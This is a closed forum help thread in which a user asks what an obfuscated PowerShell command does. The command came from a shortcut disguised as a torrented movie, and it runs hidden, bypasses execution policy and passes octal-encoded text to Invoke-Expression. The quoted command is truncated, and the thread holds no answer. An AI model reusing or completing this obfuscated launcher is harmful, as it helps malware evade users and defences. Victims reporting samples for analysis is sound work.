Jump to content

Powershell command executed by mistake - HELP

Recommended Posts

Hi there! Please can anyone explain what the below powershell command does? My girlfriend downloaded a movie from torrent and the 700 mb file was in fact a shortcut with a target as shown below:

powershell.exe -NoPr -WINd 1 -eXEc ByP  . ( $pshOmE[4]+$PShoMe[30]+'X') ( -JoiN( (44 ,141, 163,160 , 170 ,40 , 75, 40 , 50,50 ,116 , 145 ,167,55 , 117 , 142 , 152,145 , 143 , 164,40,123 ,171,163,164 , 145,155,56 ,116

I am using Windows 10. When checking the windows defender, it said "your virus & threat protection is managed by your organisation". This happened only after the execution of the file, so I am blaming the powershell command for that. Anyway, I fixed it via regedit. So please if anyone knows what other thing is hidden via that command.

Link to post
Share on other sites

  • 4 weeks later...
  • 4 weeks later...
  • Root Admin

Due to the lack of feedback, this topic is closed to prevent others from posting here.

If you need this topic reopened, please send a Private Message to any one of the moderating team members. Please include a link to this topic with your request.

This applies only to the originator of this topic. Other members who need assistance please start your own topic in a new thread.



Link to post
Share on other sites

This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
Back to top
  • Create New...

Important Information

This site uses cookies - We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.